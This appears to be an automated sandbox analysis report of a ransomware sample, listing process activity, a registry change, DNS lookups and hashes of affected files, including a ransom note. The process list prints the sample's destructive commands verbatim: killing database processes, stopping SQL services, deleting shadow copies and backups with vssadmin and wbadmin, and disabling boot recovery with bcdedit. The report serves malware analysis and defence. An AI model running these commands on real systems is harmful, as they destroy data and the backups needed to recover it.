PID 4932 wrote to memory of 464 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 4932 wrote to memory of 464 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 464 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 464 wrote to memory of 1580 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3868 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 3868 wrote to memory of 1408 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3868 wrote to memory of 1408 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1408 wrote to memory of 892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1408 wrote to memory of 892 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 3352 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 3352 wrote to memory of 3688 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3352 wrote to memory of 3688 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 3688 wrote to memory of 336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 3688 wrote to memory of 336 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 1256 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1256 wrote to memory of 2432 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 1256 wrote to memory of 2432 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe
PID 2432 wrote to memory of 660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 2432 wrote to memory of 660 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\taskkill.exe
PID 1972 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe
PID 1972 wrote to memory of 4500 N/A C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe C:\Windows\SysWOW64\cmd.exe

System policy modification

evasion
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe N/A

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Windows\Explorer.EXE

C:\Windows\Explorer.EXE

C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe

"C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe"

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c rem Kill "SQL"

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c rem Kill "SQL"

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlbrowser.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlbrowser.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sql writer.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sql writer.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sql writer.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlserv.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlserv.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im msmdsrv.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im msmdsrv.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im MsDtsSrvr.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im MsDtsSrvr.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im sqlceip.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im sqlceip.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdlauncher.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im fdlauncher.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im Ssms.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im Ssms.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im Ssms.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im SQLAGENT.EXE

C:\Windows\system32\taskkill.exe

taskkill -f -im SQLAGENT.EXE

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im fdhost.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im fdhost.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im fdhost.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im ReportingServicesService.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im ReportingServicesService.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im msftesql.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im msftesql.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im msftesql.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -im pg_ctl.exe

C:\Windows\system32\taskkill.exe

taskkill -f -im pg_ctl.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c taskkill -f -impostgres.exe

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c taskkill -f -impostgres.exe

C:\Windows\system32\taskkill.exe

taskkill -f -impostgres.exe

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQLServerADHelper100

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQLServerADHelper100

C:\Windows\system32\net.exe

net stop MSSQLServerADHelper100

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQLServerADHelper100

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQL$ISARS

C:\Windows\system32\net.exe

net stop MSSQL$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQL$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop MSSQL$MSFW

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop MSSQL$MSFW

C:\Windows\system32\net.exe

net stop MSSQL$MSFW

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop MSSQL$MSFW

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$ISARS

C:\Windows\system32\net.exe

net stop SQLAgent$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLAgent$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLAgent$MSFW

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLAgent$MSFW

C:\Windows\system32\net.exe

net stop SQLAgent$MSFW

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLAgent$MSFW

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLBrowser

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLBrowser

C:\Windows\system32\net.exe

net stop SQLBrowser

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLBrowser

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop REportServer$ISARS

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop REportServer$ISARS

C:\Windows\system32\net.exe

net stop REportServer$ISARS

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop REportServer$ISARS

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c net stop SQLWriter

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c net stop SQLWriter

C:\Windows\system32\net.exe

net stop SQLWriter

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop SQLWriter

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin delete backup -keepVersion:0 -quiet

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wmic.exe SHADOWCOPY /nointeractive

C:\Windows\SysWOW64\cmd.exe

\\?\C:\Windows\SysWOW64\cmd.exe /c %windir%\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\system32\vssadmin.exe

vssadmin.exe Delete Shadows /All /Quiet

C:\Windows\system32\wbadmin.exe

wbadmin DELETE SYSTEMSTABACKUP -deleteOldest

C:\Windows\system32\wbadmin.exe

wbadmin DELETE SYSTEMSTATEBACKUP

C:\Windows\system32\cmd.exe

C:\Windows\sysnative\cmd.exe /c bcdedit.exe /set {default} recoverynabled No

C:\Windows\System32\Wbem\WMIC.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\wbadmin.exe

wbadmin delete backup -keepVersion:0 -quiet

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoverynabled No

C:\Windows\system32\vssvc.exe

C:\Windows\system32\vssvc.exe

C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe

\\?\C:\Users\Admin\AppData\Local\Temp\cf3b068448640298738c2a407427335a289832d0c0013fda10e0fceceb208cd9.exe -network

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c pause

Network

Country Destination Domain Proto
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 178.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 167.109.18.2.in-addr.arpa udp
US 8.8.8.8:53 178.223.142.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 189.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 181.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 5.173.189.20.in-addr.arpa udp

Files

C:\odt\How_to_back_files.html

MD5 a2fd608e7f5826df3b540305950cfd3d
SHA1 62ef4f9c052dca0523e85a0667043a02603d2bba
SHA256 e91c802342aa08c6abc72e1532d1613f27bfd6067ce04ddcab4f1bf051aadc3a
SHA512 bfb161bde0f99ecfefc783d7d24c158eb8f52bcd1690cd4cd4120c9dc606cfd7b271534000e0be790df4faa61f2d539520c3752a7c0987ac97a95ee5dd2c573f

C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_LinkNoDrop32x32.gif

MD5 be9b8487ddd048123094146ead9bba56
SHA1 45f0b3848c396945cd66a5a025b40d8f50f2116a
SHA256 725f5168384eb53166e852cc2d162d67fad0a7d572c843a256dbe0717984ce7d
SHA512 1abc07940fc76882d869e3033c25edb46ceb97a3fd5b49cdce6b16f5267140e27edb143c74f487412a7e0ceda06ae30fb609d6697b7e16d3abae6dc0dd59b71e

C:\Program Files\Java\jre-1.8\lib\images\cursors\win32_LinkNoDrop32x32.gif

MD5 e3ff2ecc6e5557895a6d17f7264bb698
SHA1 d96e8b4ffcbe3fcaf5a200ff6f8e7f4f91a529ee
SHA256 214ccbe60d0e8c63a7a68beee8ae36d71f31fbcc502b4177ba1d982700769f6c
SHA512 80fcb09089963996fdf7045d4e13472241abe26a0ae4858948688a20db3ab16b93111e87f47492982a144cdd1d54e0ddca21a55677b4e1c779dc8809d74b19ed

C:\Program Files\Microsoft Office\root\Office16\1033\ClientSub2019_eula.txt

MD5 ddfb37a20cd5978e492a13671ebc0864
SHA1 b00d90da7c36ee2e35b6e9962ca530e46823ed67
SHA256 289aa9c22c4c6c0fabfae7b6bb2046fc98f42179a981e6f16c0f52f24e479873
SHA512 873d6ed6ed56c383b49e97f1130df69416d0ead451fcfb1f8ce50282528b939c024a0df57f931aa4bbdf0fc5086dd24e6ee3c2a4d7d18b8d37234d316d510a54

C:\Program Files\Microsoft Office\root\Office16\1033\MSOUC_F_COL.HXK

MD5 ee048a21d5272dbc6023999a29064bf9
SHA1 5f23d984ed09746f3a5927e1b9add8881366f018
SHA256 eb556d3731c0343952f80c4184e236f82a21629a59df2ec41643fc2796483d3d
SHA512 d5184564504a361fd1d0931766e7674473c7267f1d4e4e7a75a4ca82804040571f1c0e20ed69ca9fdb0dc286a5c2055674a307060022a97c69009d9ef5eebee4

C:\Program Files\Microsoft Office\root\Office16\1033\MSOUC_K_COL.HXK

MD5 c8e514878251944b2a45c26732de2933
SHA1 38a6acec10d481ea1847a5667defd555407aae13
SHA256 f65a04b3d75c7b9d5951286fcda7072f5cb123334ef31a8ddb09a023febcb06f
SHA512 6c9616f91ce9a64bbf4ac4a30c4ddf9bc8dab6b99d428ae4b989a4ab0dade869503a760c982789c01eeafa56e2e786d9186b38186109a0f913ddbe5adbc99280

C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_F_COL.HXK

MD5 42fd081943f2890cfee5ca06fd849b64
SHA1 246e11af81942011ac3e568d9efa78f9fcdfa5b0
SHA256 79b6e7fd03911b86f28442403238cdeea7aac729fe4b4d2302dcb1b749834edb
SHA512 79c8856691053a1cb9604edc0588e57dcad294394b6eba61ee1c77031a7d9ae5d23782b50e9230fe36141e2e0877233a770f58345cfc463f469f58202c2dc6f1

C:\Program Files\Microsoft Office\root\Office16\1033\SETLANG_K_COL.HXK

MD5 d1143cdea5edf1fa29d887835f54bb8c
SHA1 b6af2ce67f4b36195c87fc68fe211b12a06bf4aa
SHA256 4ff1959a12ae4a893c6a8887fede010b7aa6ce7561cafc002d73089e9de7d7aa
SHA512 1a1ecad3636edb71bd82f30f2338000dcbeaaaa244046146eb601ce07ce5710bd601a3e0e7f95fe7704e5fd6cb3b9fd90fc4c5737a6e10bb45a728bf60af310f

C:\Program Files\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.NetFX45.exe.config

MD5 54dce3a8077fd62f4d98e3266613d5fe
SHA1 ca8e70d4a08eda2353c46cdc499a82f16c88509d
SHA256 e745b9ec2535c5426173560c045fb20813c5d3bc82688173e52890ca843574c8
SHA512 c930e0adb8553380c430407903fa8846dceea5939920fd3da95668ac3f0fd8301c91ae6bda123dc09d4cce3928fff7616fae7c6af7aa3eee34d78be4e77f76e8

C:\Program Files\Microsoft Office\root\Office16\Bibliography\Style\SIST02.XSL

MD5 f8c5d6bb0d98a0c67c7f1e5c357df8f5
SHA1 3468446e40ef1d706becaf8e0cbfc49a16097cea
SHA256 e4e949bec89d246faa8be6723a07ca9631ae62e5fa2736c3cc9450f520e05138
SHA512 7b437354590d283a4b88463da4c7e544586fb12cb2ee586a6580b8ef18b37033e843743ca05f0657d33cbf4980d49e4d14a1cf315cfb8a2ad58d909826845b49

C:\Program Files\Microsoft Office\root\Office16\PROOF\msgr8fr.dub

MD5 338f5d76c69fb944c04bff12791d4f90
SHA1 511910bd50560c38830e8e59902e6756c1bbf47e
SHA256 115d2cc0cef0748ba7dfed1f1e32afebf94b992e78c4ed38da5c1a217fc0b542
SHA512 27d57eade7bfa6b9d65182a4cd8a705d6d8249f48fe1ae6359d7412b859bc75530439a9212ee207c016ce70a91e1a8d44c72bb76179e1dbf7d4d5eb3be83ffe1

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\1033\osmia32.msi

MD5 9111482dfe4d7973282cd60c0104a41e
SHA1 ac46adb8485ae60e76d613b0e7cd0f3e8397e021
SHA256 9039bd88b117cbed846d8f5c16336480b1623fd646567367f26db33ca085a9ae
SHA512 772e5a743687b768583fb20772c914c36cf2c8f9ae14f4720ce19231ab8ab3eb7a0819282fde3e7ce0a2e7e3beac9d87e49f986f8f0ae16e6b7f139392aa57a5

C:\Program Files\VideoLAN\VLC\locale\eu\LC_MESSAGES\vlc.mo

MD5 4eee733fef1b05a92447574f0fdb098e
SHA1 3b526a096063325f346508ff55bd58a6951d26c2
SHA256 b6e11db07f47c6afa7198029e82103d29e164fa29be5e1137ff52fcde1a08ed0
SHA512 af2b003df69af746cb2f6db2a39cfceb3e48c8d67856cf944d906bc2222bdb12c24b4f79ff3a457d8739d748c04483d4b3066ef42827e503a8096c1e631eda14

C:\Program Files\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo

MD5 036a0f43a843ff4d03c73eb44dce9ae8
SHA1 acd30e3fa539673d992d76c4d3ef27d972717e32
SHA256 3a98ca2c16529776d4c5d7df3655dc4c7bb983f2225d649fb9541d19dd48eedc
SHA512 2a8db922d8824e9368ccb8a26767eb5e4f250c0664518302e44a7dd8a090498fc65ad623a8adc2fefb0b1dd980a014818bf5352882f0ffbc55e18c13eebab826

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\cef_200_percent.pak

MD5 db5fd80fdfebb385b636e992e36ef541
SHA1 f401f0f3a0bf2d2a49aea8049eaccb3692aff075
SHA256 d96b17cc3e70f462f550b6cae12db271845a6b2443a74a21bd6dd6c234af5f31
SHA512 0be210b4001665c2e7f8b38ebfa6a6875372e90d6f94dc46d048aa781dba508750812b3d2f02e9f5a4a3980d3a6103d91634b5d591f12d66c5016df8db4ca981

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\file_types\themes\dark\aic_file_icons.png

MD5 4b0ddea732a60a34fb69e5e746ef01de
SHA1 596340c1a94afec35a7993af7e30c3f10684a25a
SHA256 caaea015532ebec6226d575c4ae512e9501830489f1fd8d1168e2884bb0a014a
SHA512 1e22f0f12eafaf0bf403c7af64b4b78b53f7d64257d4b6af5bb18e14ba2c90f04034a5ff1726246f29c94674587be9477b0fa341cc887dd8cbb5cec23161eebd

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions.png

MD5 8aa389bf627c9f314db9d4a3f77f34a9
SHA1 9a2f8d5cbfe7009309a49d6f0f5eec1d9085cda9
SHA256 02a41d246e459059fb766ab864b660d99caef7410dfea08c086b6dab30ea80e1
SHA512 de2b54daafe9a9173e024d6952b6c9af8625b74b2a3de136820f35d3ef462dd4e26eba4b0baa59afd070ce72b7cdc50372b6573ac33f1c9ef0218f6d4edf943d

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\selection-actions2x.png

MD5 15de8316534b8a4aaa6ff95b8b2a6093
SHA1 5e20872c8591ebed41dd021722119e3975bee34b
SHA256 72869de165ca3e460be3b3fc106c90eb0f3ec3f9a379dd44fb5d624c68d0a859
SHA512 981a479fe00c17e8fcd211a37dd6624aab55a969dc6d4c4f0c5bb4476a234b3768b99e8ae3ed2fca51ace27c176475788130a05b11c70774769bbb0701a814b4

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_folder-default_32.svg

MD5 c2505781691c3dc627e1f6245ce3f773
SHA1 382ce8077fed62c2ce70ebb0b713de1c837d2add
SHA256 0aa517933c44f532960954e15ee9df36660a30ee290b1c0b11e45492c72b82b9
SHA512 cba58925981c9f22062f6e05d0c82aaf4b8bf4ad3c5704f4b6db90df23d93ac440dc4e0cbdd51c33e0825221b8ed93a57721b962e52d43b32b1ae037df9fc646

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_reject_18.svg

MD5 e502cb81dc178892b21e2c8ba99f6911
SHA1 8b0a6d9b2ed810a5922036b956fccba704f0deb0
SHA256 3bce87b3c9cb1567a71407e47beb3e66f44083ed0761175e0e356fb76fd345d6
SHA512 be9f69e9a553bd353e3faa84871185b66159964c8319f471f7a508e8c6b7f57898d3424b2534f6ee6b44157810b75159b25afe2e7467a13ee508c2844b79858b

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\root\ui-strings.js

MD5 7897ce25c7507ef38955837e0c70ea18
SHA1 5a874159f256e8a7603b5502704de15e7153f661
SHA256 395ac7cd458f61939a9aae90f1a0d2eb4e6a9e4b76eaa5434669fb2d78d25dfb
SHA512 6f9e571154168a2562c9178ef57640ec4610a0482724a888a3988a8aa0efdd0e87da52472622aadd3dd77f716434420b41bec3cbb14eaa7c722019f5e655aca5

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\ui-strings.js

MD5 4c27b76b8f72e1668195a8f93281e6b2
SHA1 8625a61bf7fe6e1fdc1098ba81f94b6e0ad1757e
SHA256 05663d709e0486953cc52eef99b813cdee6e95074f8dc3d3d78c1a91b86179b9
SHA512 084326d4056dd47f8dd5ac0d59f6a339ecf4f2ca4f9eac3c54c14a873ebac038f128b56a56d0b523a66c7113990ab2209ed3843561f9d71bc1f09d9c31e349bc

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\ui-strings.js

MD5 ee828380debf34333ec72759d41b34ac
SHA1 43d87a8cb928e3051d4c00e8c6c87f80bad895bc
SHA256 aa722f5c3fa27f5251109c570cf28aa8eed7b069e7cb625b8e8395a6e3d64ddf
SHA512 f076abee79fb3dec37a2b4ccef40ef7ba9d42b23cfe2219174703a62738ac170a7054877a87883125e8a697cc342f529f6e553d4faff47dfe3699cff9b9dfd41

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\ui-strings.js

MD5 8a855c669746869b4f85cf3c7e455569
SHA1 079fd6cc070b31697b64c35a8d6b9a54b0a390e8
SHA256 cfdbd7e017106f6e220bda45d6b26ba072663df40c81368b066b642ae68e8266
SHA512 1da3e3c85756d2b6fbf325cb429a848ed2683227e877b1b9d0b7b32048a944d02b756378e5cb33a35667d8cee9fb561b24bb9d5ba716463a616a6aa8c02f65fc

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\convertpdf-rna-selector.js

MD5 46721cd62e2852e60051d356a8d5892c
SHA1 ff9277f8bace98eb86e6f53f63badc6e8f5d92ae
